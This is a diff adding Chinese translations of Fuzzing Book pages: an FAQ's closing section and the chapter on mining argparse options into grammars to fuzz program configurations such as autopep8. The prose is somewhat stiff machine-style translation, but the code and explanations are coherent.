+在运行课程时，[不依赖mybinder.org](#Troubleshooting) –它无法为更多的学生群体提供足够的资源。 相反，[安装并运行您自己的集线器。](#Do-I-have-alternatives-to-the-interactive-notebook?)
+
+#### 有没有我可以关注的特定子集？
+
+通过本书，我们为不同的读者编写了许多[导览。 我们的](Tours.html)[网站地图](00_Table_of_Contents.html)列出了各个章节之间的依存关系。
+
+#### 如何扩展或修改幻灯片？
+
+下载Jupyter笔记本（使用顶部的菜单），然后随意使用笔记本（请参见上文），包括“幻灯片类型”设置。 然后，
+
+1.  从Jupyter Notebook下载幻灯片； 要么
+2.  使用RISE扩展名（[说明](http://www.blog.pythonlibrary.org/2018/09/25/creating-presentations-with-jupyter-notebook/)）从Jupyter笔记本电脑中展示幻灯片。
+
+#### 您是否提供材料的PDF？
+
+目前，我们不提供对PDF版本的支持。 本书完成后，我们将提供PDF和印刷版本。
+
+### 其他问题
+
+#### 我有一个问题，评论或建议。 我该怎么办？
+
+您可以在Twitter 上通过[鸣叫到@fuzzingbook，以允许读者加入。有关您想解决的错误，请在](https://twitter.com/fuzzingbook)[开发页面](https://github.com/uds-se/fuzzingbook/issues)上报告问题。
+
+#### 我两周前报告了一个问题。 什么时候解决？
+
+我们优先考虑以下问题：
+
+1.  在fuzzingbook.org上发布的代码中的错误
+2.  在fuzzingbook.org上发布的文字错误
+3.  写缺失的章节
+4.  尚未发布的代码或文本中的问题
+5.  与开发或建设有关的问题
+6.  标记为“测试版”的内容
+7.  其他一切
+
+#### 我如何自己解决问题？
+
+我们很高兴您提出这样的要求。 [开发页面](https://github.com/uds-se/fuzzingbook/)包含所有来源和一些补充材料。 非常欢迎提出修复问题的请求。
+
+#### 我该如何贡献？
+
+再次，我们很高兴您在这里！ 我们很高兴接受
+
+*   **代码修复和改进。** 请在MIT许可下放置任何代码，以便我们可以轻松包含它。
+*   **有关特定主题的其他文本，章节和笔记本**。 我们计划为第三方捐款建立一个特殊的文件夹。
+
+有关编码和写入的说明，请参见我们的[作者指南](Guide_for_Authors.html)。
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/30.md b/new/fuzzing-book-zh/30.md
new file mode 100644
index 0000000000000000000000000000000000000000..2955bf638f6a76d3ae4e686d0af2021aa5a12f8c
--- /dev/null
+++ b/new/fuzzing-book-zh/30.md
@@ -0,0 +1,1891 @@
+# 测试配置
+
+> 原文： [https://www.fuzzingbook.org/html/ConfigurationFuzzer.html](https://www.fuzzingbook.org/html/ConfigurationFuzzer.html)
+
+程序的行为不仅受其数据支配。 程序的*配置*（即由选项或配置文件设置的用于控制程序在其（常规）输入数据上执行的设置）也会影响行为，因此可以并且 应该进行测试。 在本章中，我们探索如何系统地*测试*和*涵盖*软件配置。 通过*自动推断配置选项*，我们可以立即使用这些技术，而无需编写语法。 最后，我们展示了如何系统地涵盖配置选项的*组合*，从而快速检测到不必要的干扰。
+
+**前提条件**
+
+*   您应该阅读语法的[一章。](Grammars.html)
+*   您应该已经阅读[一章，内容涉及语法](GrammarCoverageFuzzer.html)。
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.ConfigurationFuzzer](ConfigurationFuzzer.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章提供了两个类：
+
+*   `OptionRunner`自动从Python程序中提取命令行选项；
+*   `OptionFuzzer`使用这些选项自动测试具有多种选项的Python程序。
+
+`OptionRunner`运行程序直至解析其参数，然后提取描述其调用的语法：
+
+```py
+>>> autopep8_runner = OptionRunner("autopep8", "foo.py")
+
+```
+
+可以通过`ebnf_grammar()`方法提取语法：
+
+```py
+>>> option_ebnf_grammar = autopep8_runner.ebnf_grammar()
+>>> print(option_ebnf_grammar)
+{'<start>': ['(<option>)*<arguments>'], '<option>': [' -h', ' --help', ' --version', ' -v', ' --verbose', ' -d', ' --diff', ' -i', ' --in-place', ' --global-config <filename>', ' --ignore-local-config', ' -r', ' --recursive', ' -j <n>', ' --jobs <n>', ' -p <n>', ' --pep8-passes <n>', ' -a', ' --aggressive', ' --experimental', ' --exclude <globs>', ' --list-fixes', ' --ignore <errors>', ' --select <errors>', ' --max-line-length <n>', ' --line-range <line> <line>', ' --range <line> <line>', ' --indent-size <int>', ' --hang-closing'], '<arguments>': [' foo.py'], '<str>': ['<char>+'], '<char>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~'], '<filename>': ['<str>'], '<int>': ['(-)?<digit>+'], '<digit>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'], '<n>': ['<int>'], '<globs>': ['<str>'], '<errors>': ['<str>'], '<line>': ['<int>']}
+
+```
+
+语法可立即用于模糊测试。 `GrammarCoverageFuzzer`将确保涵盖所有选项：
+
+```py
+>>> from [Grammars](Grammars.html) import convert_ebnf_grammar
+>>> fuzzer = GrammarCoverageFuzzer(convert_ebnf_grammar(option_ebnf_grammar))
+>>> [fuzzer.fuzz() for i in range(3)]
+[' foo.py',
+ ' --indent-size 54 --diff --global-config k --select &, --list-fixes -a --hang-closing --range 0 72 --ignore-local-config -p 8 --version -d --experimental foo.py',
+ ' --ignore i --jobs -16 --verbose -v --line-range -3 9 -r --help --max-line-length 8 -h --aggressive --recursive --exclude qE" --in-place -j -979 -i --pep8-passes 4 --version --in-place --aggressive --version foo.py']
+
+```
+
+`OptionFuzzer`类总结了这些步骤。 它的构造函数使用`OptionRunner`自动提取语法。 它执行必要的步骤来提取语法并对其进行模糊测试。
+
+```py
+>>> autopep8_runner = OptionRunner("autopep8", "foo.py")
+>>> autopep8_fuzzer = OptionFuzzer(autopep8_runner)
+>>> [autopep8_fuzzer.fuzz() for i in range(3)]
+[' foo.py',
+ ' --range 46 -1 --recursive -d --select <6 --exclude :" --global-config UVE --help --aggressive --experimental -r --line-range -7 -9 --version -i -h --indent-size -05 --max-line-length 8 --in-place --verbose --jobs -32 --ignore-local-config -v -p -1 --hang-closing -j 38 -a --list-fixes --pep8-passes 67 --diff --ignore v --select I --ignore (1NJ --ignore Km --ignore ? --select ^kZ --global-config y --select ia]9 --exclude o --ignore R!4GP.x8/ --ignore D --exclude 7 --exclude Bd -a --recursive --verbose foo.py',
+ " --ignore \\ --global-config l --global-config @ --ignore ,CM~& --ignore nb --select c --global-config zgW --ignore $`s{H --global-config - --exclude 2| --select O --exclude 0 --exclude * --ignore qA'F}X --global-config p>_r+ --global-config eQ --exclude [ --ignore t --select h) --select %f --exclude u#3;=TL --global-config w --ignore j5 --exclude Y --ignore S --ignore ]J --global-config 1 --ignore-local-config --max-line-length 36693 -i foo.py"]
+
+```
+
+现在测试的最后一步是使用这些参数调用程序。
+
+请注意，`OptionRunner`是实验性的：它假设所讨论的Python程序使用了`argparse`模块； 并非所有`argparse`功能都受支持。 尽管如此，即使在非平凡的程序上，它也做得很好。
+
+## 配置选项
+
+当我们谈论程序的输入时，通常会想到它处理的*数据*。 这也是我们在过去几章中一直在进行的模糊处理-使用[随机输入](Fuzzer.html)，基于[突变的模糊化](MutationFuzzer.html)或基于[语法的模糊化](GrammarFuzzer.html)。 但是，程序通常具有多个输入源，所有这些源都可以并且应该进行测试-并包含在测试生成中。
+
+输入的一个重要来源是程序的*配置* –也就是说，一组输入通常在开始处理数据时设置一次，然后在处理数据时，程序运行时甚至在运行时保持不变。 该程序已部署。 通常在*配置文件*中设置这种配置（例如，作为键/值对）； 但是，命令行工具中最普遍使用的方法是命令行上的*配置选项*。
+
+例如，考虑使用`grep`实用程序在文件中查找文本模式。 `grep`的确切工作方式由众多选项决定，可以通过提供`--help`选项列出这些选项：
+
+```py
+!grep --help
+
+```
+
+```py
+usage: grep [-abcDEFGHhIiJLlmnOoqRSsUVvwxZ] [-A num] [-B num] [-C[num]]
+	[-e pattern] [-f file] [--binary-files=value] [--color=when]
+	[--context[=num]] [--directories=action] [--label] [--line-buffered]
+	[--null] [pattern] [file ...]
+
+```
+
+所有这些选项都需要测试它们是否正确运行。 在安全测试中，任何此类选项也可能触发未知的漏洞。 因此，这些选项可以自己成为*模糊目标*。 在本章中，我们将分析如何系统地测试这些选项，更好的是，如何从给定的程序文件中提取可能的配置，这样我们就不必指定任何内容。
+
+## Python [中的选项](#Options-in-Python)
+
+让我们在这里坚持我们的通用编程语言，并检查如何在Python中处理选项。 `argparse`模块为命令行参数（和选项）提供了一个功能强大且复杂度很高的解析器。 首先，定义一个解析器（`argparse.ArgumentParser()`），在其中添加具有各种功能的单个参数，一个接一个。 每个参数的附加参数可以指定参数的类型（`type`）（例如整数或字符串），或参数的数量（`nargs`）。
+
+默认情况下，参数以其名称存储在来自`parse_args()`的`args`对象中–因此，`args.integers`保留先前添加的`integers`参数。 特殊操作（`actions`）允许在给定变量中存储特定值； `store_const`操作将给定的`const`存储在以`dest`命名的属性中。 下面的示例采用多个整数参数（`integers`）和一个运算符（`--sum`，`--min`或`--max`）应用于这些整数。 所有运算符都在`accumulate`属性中存储一个函数引用，该引用最终在解析的整数上调用：
+
+```py
+import [argparse](https://docs.python.org/3/library/argparse.html)
+
+```
+
+```py
+def process_numbers(args=[]):
+    parser = argparse.ArgumentParser(description='Process some integers.')
+    parser.add_argument('integers', metavar='N', type=int, nargs='+',
+                        help='an integer for the accumulator')
+    group = parser.add_mutually_exclusive_group(required=True)
+    group.add_argument('--sum', dest='accumulate', action='store_const',
+                       const=sum,
+                       help='sum the integers')
+    group.add_argument('--min', dest='accumulate', action='store_const',
+                       const=min,
+                       help='compute the minimum')
+    group.add_argument('--max', dest='accumulate', action='store_const',
+                       const=max,
+                       help='compute the maximum')
+
+    args = parser.parse_args(args)
+    print(args.accumulate(args.integers))
+
+```
+
+`process_numbers()`的工作方式如下。 例如，我们可以在给定参数上调用`--min`选项以计算最小值：
+
+```py
+process_numbers(["--min", "100", "200", "300"])
+
+```
+
+```py
+100
+
+```
+
+或计算三个数字的总和：
+
+```py
+process_numbers(["--sum", "1", "2", "3"])
+
+```
+
+```py
+6
+
+```
+
+通过`add_mutually_exclusive_group()`（如上所述）定义时，选项是互斥的。 因此，我们只能有一个运算符：
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+from [ExpectError](ExpectError.html) import ExpectError
+
+```
+
+```py
+with ExpectError(print_traceback=False):
+    process_numbers(["--sum", "--max", "1", "2", "3"])
+
+```
+
+```py
+usage: ipykernel_launcher.py [-h] (--sum | --min | --max) N [N ...]
+ipykernel_launcher.py: error: argument --max: not allowed with argument --sum
+SystemExit: 2 (expected)
+
+```
+
+## 配置语法
+
+我们如何测试具有多个选项的系统？ 最简单的答案是为此编写语法。 语法`PROCESS_NUMBERS_EBNF_GRAMMAR`反映了选项和参数的可能组合：
+
+```py
+from [Grammars](Grammars.html) import crange, srange, convert_ebnf_grammar, extend_grammar, is_valid_grammar
+from [Grammars](Grammars.html) import START_SYMBOL, new_symbol
+
+```
+
+```py
+PROCESS_NUMBERS_EBNF_GRAMMAR = {
+    "<start>": ["<operator> <integers>"],
+    "<operator>": ["--sum", "--min", "--max"],
+    "<integers>": ["<integer>", "<integers> <integer>"],
+    "<integer>": ["<digit>+"],
+    "<digit>": crange('0', '9')
+}
+
+assert is_valid_grammar(PROCESS_NUMBERS_EBNF_GRAMMAR)
+
+```
+
+```py
+PROCESS_NUMBERS_GRAMMAR = convert_ebnf_grammar(PROCESS_NUMBERS_EBNF_GRAMMAR)
+
+```
+
+我们可以将此语法输入到[语法覆盖率测试工具](GrammarCoverageFuzzer.html)中，然后逐个覆盖它：
+
+```py
+from [GrammarCoverageFuzzer](GrammarCoverageFuzzer.html) import GrammarCoverageFuzzer
+
+```
+
+```py
+f = GrammarCoverageFuzzer(PROCESS_NUMBERS_GRAMMAR, min_nonterminals=10)
+for i in range(3):
+    print(f.fuzz())
+
+```
+
+```py
+--max 9 5 8 210 80 9756431
+--sum 9 4 99 1245 612370
+--min 2 3 0 46 15798 7570926
+
+```
+
+当然，我们也可以使用这些参数来调用`process_numbers()`。 为此，我们需要使用`split()`将语法产生的字符串转换回单个参数列表：
+
+```py
+f = GrammarCoverageFuzzer(PROCESS_NUMBERS_GRAMMAR, min_nonterminals=10)
+for i in range(3):
+    args = f.fuzz().split()
+    print(args)
+    process_numbers(args)
+
+```
+
+```py
+['--max', '8', '9', '3067', '44', '13852967057']
+13852967057
+['--sum', '9', '8', '63', '9278111', '59206197798']
+59215475989
+['--min', '4', '1', '4864', '33342', '7827970808951']
+1
+
+```
+
+以类似的方式，我们可以为要测试的任何程序定义语法。 以及为配置文件定义语法。 但是，必须对程序进行每次更改才能更新语法，这会带来维护负担。 既然语法所需的信息已经在程序中全部编码了，就会出现问题：*我们不能首先从程序中直接提取配置选项吗？*
+
+## 挖掘配置选项
+
+在本节中，我们尝试从程序中提取选项和参数信息，这样就不必指定配置语法。 目的是要有一个配置模糊器，它可以对任意程序的选项和参数起作用，只要它遵循用于处理其参数的特定约定即可。 对于Python程序，这意味着使用`argparse`模块。
+
+我们的想法如下：我们执行给定程序直到实际解析参数为止-即调用`argparse.parse_args()`。 到目前为止，我们将所有调用都跟踪到参数解析器中，特别是定义了参数和选项（`add_argument()`）的那些调用。 由此，我们构建语法。
+
+### 跟踪参数
+
+让我们通过一个简单的实验来说明这种方法：我们定义一个跟踪函数（有关详细信息，请参见关于覆盖的章节[），该函数在调用`process_numbers`时处于活动状态。 如果调用方法`add_argument`，则将访问并打印局部变量（此时是该方法的参数）。](Coverage.html)
+
+```py
+import [sys](https://docs.python.org/3/library/sys.html)
+
+```
+
+```py
+import [string](https://docs.python.org/3/library/string.html)
+
+```
+
+```py
+def traceit(frame, event, arg):
+    if event != "call":
+        return
+    method_name = frame.f_code.co_name
+    if method_name != "add_argument":
+        return
+    locals = frame.f_locals
+    print(method_name, locals)
+
+```
+
+我们得到的是对`add_argument()`的所有调用的列表，以及传递的方法参数：
+
+```py
+sys.settrace(traceit)
+process_numbers(["--sum", "1", "2", "3"])
+sys.settrace(None)
+
+```
+
+```py
+add_argument {'kwargs': {'action': 'help', 'default': '==SUPPRESS==', 'help': 'show this help message and exit'}, 'args': ('-h', '--help'), 'self': ArgumentParser(prog='ipykernel_launcher.py', usage=None, description='Process some integers.', formatter_class=<class 'argparse.HelpFormatter'>, conflict_handler='error', add_help=True)}
+add_argument {'kwargs': {'metavar': 'N', 'type': <class 'int'>, 'nargs': '+', 'help': 'an integer for the accumulator'}, 'args': ('integers',), 'self': ArgumentParser(prog='ipykernel_launcher.py', usage=None, description='Process some integers.', formatter_class=<class 'argparse.HelpFormatter'>, conflict_handler='error', add_help=True)}
+add_argument {'kwargs': {'dest': 'accumulate', 'action': 'store_const', 'const': <built-in function sum>, 'help': 'sum the integers'}, 'args': ('--sum',), 'self': <argparse._MutuallyExclusiveGroup object at 0x109c3bd30>}
+add_argument {'kwargs': {'dest': 'accumulate', 'action': 'store_const', 'const': <built-in function min>, 'help': 'compute the minimum'}, 'args': ('--min',), 'self': <argparse._MutuallyExclusiveGroup object at 0x109c3bd30>}
+add_argument {'kwargs': {'dest': 'accumulate', 'action': 'store_const', 'const': <built-in function max>, 'help': 'compute the maximum'}, 'args': ('--max',), 'self': <argparse._MutuallyExclusiveGroup object at 0x109c3bd30>}
+6
+
+```
+
+从`args`参数，我们可以访问要定义的各个选项和参数：
+
+```py
+def traceit(frame, event, arg):
+    if event != "call":
+        return
+    method_name = frame.f_code.co_name
+    if method_name != "add_argument":
+        return
+    locals = frame.f_locals
+    print(locals['args'])
+
+```
+
+```py
+sys.settrace(traceit)
+process_numbers(["--sum", "1", "2", "3"])
+sys.settrace(None)
+
+```
+
+```py
+('-h', '--help')
+('integers',)
+('--sum',)
+('--min',)
+('--max',)
+6
+
+```
+
+我们看到每个参数都是一个元组，具有一个（例如`integers`或`--sum`）或两个成员（`-h`和`--help`），它们表示同一选项的替代形式。 我们的工作将是遍历`add_arguments()`的参数，并不仅检测选项和参数的名称，而且还要检测它们是否接受其他参数以及参数的类型。
+
+### 用于选项和参数的语法挖掘器
+
+现在，让我们建立一个收集所有这些信息以创建语法的类。
+
+在收集所有参数和选项之后，我们使用`ParseInterrupt`异常来中断程序执行：
+
+```py
+class ParseInterrupt(Exception):
+    pass
+
+```
+
+`OptionGrammarMiner`类采用一个可执行函数，该函数将挖掘选项和参数的语法：
+
+```py
+class OptionGrammarMiner(object):
+    def __init__(self, function, log=False):
+        self.function = function
+        self.log = log
+
+```
+
+方法`mine_ebnf_grammar()`是一切发生的地方。 它创建形式的语法
+
+```py
+<start> ::= <option>* <arguments>
+<option> ::= <empty>
+<arguments> ::= <empty>
+```
+
+其中将收集选项和参数。 然后，它会设置一个跟踪功能（有关详细信息，请参见本章中的章节[），该函数在调用先前定义的`function`时将处于活动状态。 引发`ParseInterrupt`（在调用`parse_args()`时）结束执行。](Coverage.html)
+
+```py
+class OptionGrammarMiner(OptionGrammarMiner):
+    OPTION_SYMBOL = "<option>"
+    ARGUMENTS_SYMBOL = "<arguments>"
+
+    def mine_ebnf_grammar(self):
+        self.grammar = {
+            START_SYMBOL: ["(" + self.OPTION_SYMBOL + ")*" + self.ARGUMENTS_SYMBOL],
+            self.OPTION_SYMBOL: [],
+            self.ARGUMENTS_SYMBOL: []
+        }
+        self.current_group = self.OPTION_SYMBOL
+
+        old_trace = sys.settrace(self.traceit)
+        try:
+            self.function()
+        except ParseInterrupt:
+            pass
+        sys.settrace(old_trace)
+
+        return self.grammar
+
+    def mine_grammar(self):
+        return convert_ebnf_grammar(self.mine_ebnf_grammar())
+
+```
+
+跟踪函数检查四种方法：`add_argument()`是最重要的函数，导致处理参数。 `frame.f_locals`还是局部变量的集合，这时主要是`add_argument()`的参数。 由于互斥组也具有方法`add_argument()`，因此我们将标志`in_group`设置为可区分。
+
+请注意，我们没有做出具体努力来区分多个解析器或组。 我们仅假设有一个解析器，并且在任何时候最多只有一个互斥的组。
+
+```py
+class OptionGrammarMiner(OptionGrammarMiner):
+    def traceit(self, frame, event, arg):
+        if event != "call":
+            return
+
+        if "self" not in frame.f_locals:
+            return
+        self_var = frame.f_locals["self"]
+
+        method_name = frame.f_code.co_name
+
+        if method_name == "add_argument":
+            in_group = repr(type(self_var)).find("Group") >= 0
+            self.process_argument(frame.f_locals, in_group)
+        elif method_name == "add_mutually_exclusive_group":
+            self.add_group(frame.f_locals, exclusive=True)
+        elif method_name == "add_argument_group":
+            # self.add_group(frame.f_locals, exclusive=False)
+            pass
+        elif method_name == "parse_args":
+            raise ParseInterrupt
+
+        return None
+
+```
+
+`process_arguments()`现在分析传递的参数并将其添加到语法中：
+
+*   如果参数以`-`开头，则将其作为可选元素添加到`<option>`列表中
+*   否则，它将被添加到`<argument>`列表中。
+
+可选的`nargs`参数指定可以跟随的参数数量。 如果是数字，则在语法中添加适当数量的元素。 如果它是抽象说明符（例如`+`或`*`），我们将其直接用作EBNF运算符。
+
+考虑到大量的参数和可选的行为，这是一个有点杂乱的函数，但确实可以做到。
+
+```py
+class OptionGrammarMiner(OptionGrammarMiner):
+    def process_argument(self, locals, in_group):
+        args = locals["args"]
+        kwargs = locals["kwargs"]
+
+        if self.log:
+            print(args)
+            print(kwargs)
+            print()
+
+        for arg in args:
+            self.process_arg(arg, in_group, kwargs)
+
+```
+
+```py
+class OptionGrammarMiner(OptionGrammarMiner):
+    def process_arg(self, arg, in_group, kwargs):
+        if arg.startswith('-'):
+            if not in_group:
+                target = self.OPTION_SYMBOL
+            else:
+                target = self.current_group
+            metavar = None
+            arg = " " + arg
+        else:
+            target = self.ARGUMENTS_SYMBOL
+            metavar = arg
+            arg = ""
+
+        if "nargs" in kwargs:
+            nargs = kwargs["nargs"]
+        else:
+            nargs = 1
+
+        param = self.add_parameter(kwargs, metavar)
+        if param == "":
+            nargs = 0
+
+        if isinstance(nargs, int):
+            for i in range(nargs):
+                arg += param
+        else:
+            assert nargs in "?+*"
+            arg += '(' + param + ')' + nargs
+
+        if target == self.OPTION_SYMBOL:
+            self.grammar[target].append(arg)
+        else:
+            self.grammar[target].append(arg)
+
+```
+
+方法`add_parameter()`处理选项的可能参数。 如果自变量定义为`action`，则不接受任何参数。 否则，我们确定参数的类型（如`int`或`str`），并使用适当的规则扩展语法。
+
+```py
+import [inspect](https://docs.python.org/3/library/inspect.html)
+
+```
+
+```py
+class OptionGrammarMiner(OptionGrammarMiner):
+    def add_parameter(self, kwargs, metavar):
+        if "action" in kwargs:
+            # No parameter
+            return ""
+
+        type_ = "str"
+        if "type" in kwargs:
+            given_type = kwargs["type"]
+            # int types come as '<class int>'
+            if inspect.isclass(given_type) and issubclass(given_type, int):
+                type_ = "int"
+
+        if metavar is None:
+            if "metavar" in kwargs:
+                metavar = kwargs["metavar"]
+            else:
+                metavar = type_
+
+        self.add_type_rule(type_)
+        if metavar != type_:
+            self.add_metavar_rule(metavar, type_)
+
+        param = " <" + metavar + ">"
+
+        return param
+
+```
+
+方法`add_type_rule()`将参数类型的规则添加到语法中。 如果参数是由元变量（例如`N`）标识的，则我们也会为此添加一条规则以提高可读性。
+
+```py
+class OptionGrammarMiner(OptionGrammarMiner):
+    def add_type_rule(self, type_):
+        if type_ == "int":
+            self.add_int_rule()
+        else:
+            self.add_str_rule()
+
+    def add_int_rule(self):
+        self.grammar["<int>"] = ["(-)?<digit>+"]
+        self.grammar["<digit>"] = crange('0', '9')
+
+    def add_str_rule(self):
+        self.grammar["<str>"] = ["<char>+"]
+        self.grammar["<char>"] = srange(
+            string.digits
+            + string.ascii_letters
+            + string.punctuation)
+
+    def add_metavar_rule(self, metavar, type_):
+        self.grammar["<" + metavar + ">"] = ["<" + type_ + ">"]
+
+```
+
+方法`add_group()`将新的互斥组添加到语法中。 我们为添加到组中的选项定义了一个新符号（例如`<group>`），并使用`required`和`exclusive`标志来定义适当的扩展运算符。 然后将该组作为语法的前缀，如
+
+```py
+<start> ::= <group><option>* <arguments>
+<group> ::= <empty>
+```
+
+并充满了组中对`add_argument()`的下一个调用。
+
+```py
+class OptionGrammarMiner(OptionGrammarMiner):
+    def add_group(self, locals, exclusive):
+        kwargs = locals["kwargs"]
+        if self.log:
+            print(kwargs)
+
+        required = kwargs.get("required", False)
+        group = new_symbol(self.grammar, "<group>")
+
+        if required and exclusive:
+            group_expansion = group
+        if required and not exclusive:
+            group_expansion = group + "+"
+        if not required and exclusive:
+            group_expansion = group + "?"
+        if not required and not exclusive:
+            group_expansion = group + "*"
+
+        self.grammar[START_SYMBOL][0] = group_expansion + \
+            self.grammar[START_SYMBOL][0]
+        self.grammar[group] = []
+        self.current_group = group
+
+```
+
+而已！ 这样，我们现在可以从`process_numbers()`程序中提取语法。 再次打开日志记录会显示我们使用的变量。
+
+```py
+miner = OptionGrammarMiner(process_numbers, log=True)
+process_numbers_grammar = miner.mine_ebnf_grammar()
+
+```
+
+```py
+('-h', '--help')
+{'action': 'help', 'default': '==SUPPRESS==', 'help': 'show this help message and exit'}
+
+('integers',)
+{'metavar': 'N', 'type': <class 'int'>, 'nargs': '+', 'help': 'an integer for the accumulator'}
+
+{'required': True}
+('--sum',)
+{'dest': 'accumulate', 'action': 'store_const', 'const': <built-in function sum>, 'help': 'sum the integers'}
+
+('--min',)
+{'dest': 'accumulate', 'action': 'store_const', 'const': <built-in function min>, 'help': 'compute the minimum'}
+
+('--max',)
+{'dest': 'accumulate', 'action': 'store_const', 'const': <built-in function max>, 'help': 'compute the maximum'}
+
+```
+
+这是提取的语法：
+
+```py
+process_numbers_grammar
+
+```
+
+```py
+{'<start>': ['<group>(<option>)*<arguments>'],
+ '<option>': [' -h', ' --help'],
+ '<arguments>': ['( <integers>)+'],
+ '<int>': ['(-)?<digit>+'],
+ '<digit>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
+ '<integers>': ['<int>'],
+ '<group>': [' --sum', ' --min', ' --max']}
+
+```
+
+语法正确识别找到的组：
+
+```py
+process_numbers_grammar["<start>"]
+
+```
+
+```py
+['<group>(<option>)*<arguments>']
+
+```
+
+```py
+process_numbers_grammar["<group>"]
+
+```
+
+```py
+[' --sum', ' --min', ' --max']
+
+```
+
+它还标识了`--help`选项，该选项不是我们提供的，而是`argparse`模块提供的：
+
+```py
+process_numbers_grammar["<option>"]
+
+```
+
+```py
+[' -h', ' --help']
+
+```
+
+语法还可以正确识别参数的类型：
+
+```py
+process_numbers_grammar["<arguments>"]
+
+```
+
+```py
+['( <integers>)+']
+
+```
+
+```py
+process_numbers_grammar["<integers>"]
+
+```
+
+```py
+['<int>']
+
+```
+
+`int`的规则由`add_int_rule()`定义
+
+```py
+process_numbers_grammar["<int>"]
+
+```
+
+```py
+['(-)?<digit>+']
+
+```
+
+我们可以采用这种语法并将其转换为BNF，这样我们就可以立即对其进行模糊处理：
+
+```py
+assert is_valid_grammar(process_numbers_grammar)
+
+```
+
+```py
+grammar = convert_ebnf_grammar(process_numbers_grammar)
+assert is_valid_grammar(grammar)
+
+```
+
+```py
+f = GrammarCoverageFuzzer(grammar)
+for i in range(10):
+    print(f.fuzz())
+
+```
+
+```py
+ --sum 9
+ --max -h --help --help -16 -0
+ --min --help 2745341 8
+ --min 1 27
+ --sum --help --help -2
+ --sum --help 0 3 -77
+ --sum -3
+ --sum --help 429 8 10 0295 -694 1
+ --max -h 91 -1425 99
+ --sum -795 -94 8 -44
+
+```
+
+每次调用都遵循`argparse`调用中列出的规则。 通过挖掘现有程序中的选项和参数，我们现在可以即开即用地模糊这些选项-无需指定语法。
+
+## 测试Autopep8
+
+让我们在现实世界的Python程序上试用选项语法挖掘器。 `autopep8`是自动将Python代码转换为 [PEP 8 Python代码](https://www.python.org/dev/peps/pep-0008/)样式指南的工具。 （实际上，本书中的所有Python代码在生产过程中都会通过`autopep8`运行。）`autopep8`提供了多种选择，可以通过使用`--help`进行调用来看到：
+
+```py
+!autopep8 --help
+
+```
+
+```py
+usage: autopep8 [-h] [--version] [-v] [-d] [-i] [--global-config filename]
+                [--ignore-local-config] [-r] [-j n] [-p n] [-a]
+                [--experimental] [--exclude globs] [--list-fixes]
+                [--ignore errors] [--select errors] [--max-line-length n]
+                [--line-range line line] [--hang-closing]
+                [files [files ...]]
+
+Automatically formats Python code to conform to the PEP 8 style guide.
+
+positional arguments:
+  files                 files to format or '-' for standard in
+
+optional arguments:
+  -h, --help            show this help message and exit
+  --version             show program's version number and exit
+  -v, --verbose         print verbose messages; multiple -v result in more
+                        verbose messages
+  -d, --diff            print the diff for the fixed source
+  -i, --in-place        make changes to files in place
+  --global-config filename
+                        path to a global pep8 config file; if this file does
+                        not exist then this is ignored (default:
+                        /Users/zeller/.config/pep8)
+  --ignore-local-config
+                        don't look for and apply local config files; if not
+                        passed, defaults are updated with any config files in
+                        the project's root directory
+  -r, --recursive       run recursively over directories; must be used with
+                        --in-place or --diff
+  -j n, --jobs n        number of parallel jobs; match CPU count if value is
+                        less than 1
+  -p n, --pep8-passes n
+                        maximum number of additional pep8 passes (default:
+                        infinite)
+  -a, --aggressive      enable non-whitespace changes; multiple -a result in
+                        more aggressive changes
+  --experimental        enable experimental fixes
+  --exclude globs       exclude file/directory names that match these comma-
+                        separated globs
+  --list-fixes          list codes for fixes; used by --ignore and --select
+  --ignore errors       do not fix these errors/warnings (default:
+                        E226,E24,W503)
+  --select errors       fix only these errors/warnings (e.g. E4,W)
+  --max-line-length n   set maximum allowed line length (default: 79)
+  --line-range line line, --range line line
+                        only fix errors found within this inclusive range of
+                        line numbers (e.g. 1 99); line numbers are indexed at
+                        1
+  --hang-closing        hang-closing option passed to pycodestyle
+
+```
+
+### Autopep8设置
+
+我们要系统地测试这些选项。 为了部署我们的配置语法挖掘器，我们需要找到可执行文件的源代码：
+
+```py
+import [os](https://docs.python.org/3/library/os.html)
+
+```
+
+```py
+def find_executable(name):
+    for path in os.get_exec_path():
+        qualified_name = os.path.join(path, name)
+        if os.path.exists(qualified_name):
+            return qualified_name
+    return None
+
+```
+
+```py
+autopep8_executable = find_executable("autopep8")
+assert autopep8_executable is not None
+autopep8_executable
+
+```
+
+```py
+'/Users/zeller/anaconda3/bin/autopep8'
+
+```
+
+接下来，我们构建一个函数来读取文件的内容并执行它。
+
+```py
+def autopep8():
+    executable = find_executable("autopep8")
+
+    # First line has to contain "/usr/bin/env python" or like
+    first_line = open(executable).readline()
+    assert first_line.find("python") >= 0
+
+    contents = open(executable).read()
+    exec(contents)
+
+```
+
+### 挖掘Autopep8语法
+
+我们可以在语法挖掘器中使用`autopep8()`函数：
+
+```py
+autopep8_miner = OptionGrammarMiner(autopep8)
+
+```
+
+并为其提取语法：
+
+```py
+autopep8_ebnf_grammar = autopep8_miner.mine_ebnf_grammar()
+
+```
+
+之所以起作用，是因为`autopep8`不是一个单独的进程（和一个单独的Python解释器），但是我们在当前的Python解释器中运行`autopep8()`函数（和`autopep8`代码）–直到对`parse_args()`的调用 ]，我们再次中断执行。 至此，`autopep8`代码除了设置参数解析器之外什么也没有做-这是我们感兴趣的。
+
+挖掘的语法选项准确反映了提供`--help`时看到的选项：
+
+```py
+print(autopep8_ebnf_grammar["<option>"])
+
+```
+
+```py
